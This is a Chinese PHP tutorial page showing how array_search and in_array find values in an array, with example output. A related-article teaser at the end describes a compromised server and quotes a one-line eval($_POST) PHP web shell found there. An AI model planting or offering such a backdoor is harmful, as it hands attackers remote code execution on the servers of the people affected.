php在数组中查找指定值的方法

yipeiwu_com6年前PHP代码库

本文实例讲述了php在数组中查找指定值的方法。分享给大家供大家参考。具体如下:

php中有两个函数可以判断数组中是否包含指定的值,分别是:array_search($value, $array)和in_array($value, $array),array_search可以找出指定的值在数组中出现的位置,in_array函数只判断数组中是否存在指定的值,返回bool值

<?php 
$array = array("Perl", "PHP", "Java", "PHP");
print("Search 1: ".array_search("PHP",$array)."\n");
print("Search 2: ".array_search("Perl",$array)."\n");
print("Search 3: ".array_search("C#",$array)."\n");
print("\n");
?>

输出结果如下

Search 1: 1
Search 2: 0
Search 3:

希望本文所述对大家的php程序设计有所帮助。

相关文章

使用Zttp简化Guzzle 调用

Zttp 是 Adam Wathan 为了让代码更富表现力以及简化常见用例而写的一个 Guzzle 的封装。 这是使用 Zttp 去 Post 一个自定义头部内容请求的一个例子:...

PHP截断标题且兼容utf8和gb2312编码

复制代码 代码如下: <?php if(strlen($r[title])>45){$str=utf8Substr($r[title],0,15)."...";}else{$...

linux iconv方法的使用

参考phpinfo的信息,iconv模块也已经正确加载。 google一下。原来才知道,原来在linux版本下iconv这个方法还是有点下下问题的。 csdn上的一个网友给出的解决方案为...

php 中phar包的使用教程详解

php 中phar包的使用教程详解

修改配置文件: vim /usr/local/php/etc/php.ini [Phar] phar.readonly = Off 压缩: a. 创建压缩脚本: vim c...

PHP隐形一句话后门,和ThinkPHP框架加密码程序(base64_decode)

今天一个客户的服务器频繁被写入: mm.php 内容为: 复制代码 代码如下: <?eval($_POST[c]);?> 最后查到某文件内的第一行为以下代码: 复制代码 代...